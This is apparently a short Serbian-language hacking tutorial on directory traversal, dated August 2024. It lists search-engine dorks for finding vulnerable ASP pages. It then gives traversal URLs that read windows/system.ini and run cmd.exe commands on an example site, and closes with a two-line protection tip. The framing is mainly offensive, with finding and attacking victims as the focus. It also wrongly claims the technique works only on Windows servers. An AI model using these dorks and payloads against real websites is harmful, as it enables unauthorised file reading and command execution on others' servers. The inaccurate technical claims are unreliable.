Directory Traversal

August 15, 2024 (1mo ago)

[ Directory Traversal ]

[ Content ]

[1] Sta je Directory Traversal
[2] Kako pronaci ranjivost
[3] Primer napada
[4] Zastita skripte

[1] Uvod Directory Traversal je slicna metodi LFI s tim da se jedino moze koristiti na Windows serverima . Nakon pronalazenja ranjivosti ne uploaduje shell nego se izvrasava neka akcija pokretanjem .exe fajlova.

[2] Kako pronaci ranjivost

Neki dorkovi su:

index.asp?page=
index.asp?p=
view.asp?site=

Ako naidjemo na ranjiv sajt (primer)

http://vulnsajt.rs/stranica.asp?str=onama.html

Brisanjem dela linka onama.html i dodavanjem sufiksa ../../../../../../../../windows/system.iniUkoliko je sajt ranjiv ispisace podatke koji se nalaze u fajlu system.ini (U zavisnosti od servera i foldera u kom je ranjiva skripta stavljena neki podfolder ili tako nesto menja se broj ../ tako da je najbolje da se krene od ../../../../../windows/system.ini pa da se redom dodaju)

[3] Primer napada Posto je sajt ranjiv vreme je da krenemo u napad. ../../../../../../../../windows/system.ini se zameni sa jednom exekutabilnom adresom npr. ../../../../../../../../Windows/System32/ cmd.exe?/c+dir+c:\

tako da link sada izgleda ovako

http://vulnsajt.rs/page.asp?str=../../../../../../../../Windows/System32/cmd.exe?/c+dir+c:\

[4] Zastita skripte Jedan nacin zastite je da se apdejtuje verzija web server programa, a drugi nacin je da se naprave dobri filter koji ce blokirati napade ako se u linku nadju ../, windows, systen32 itd.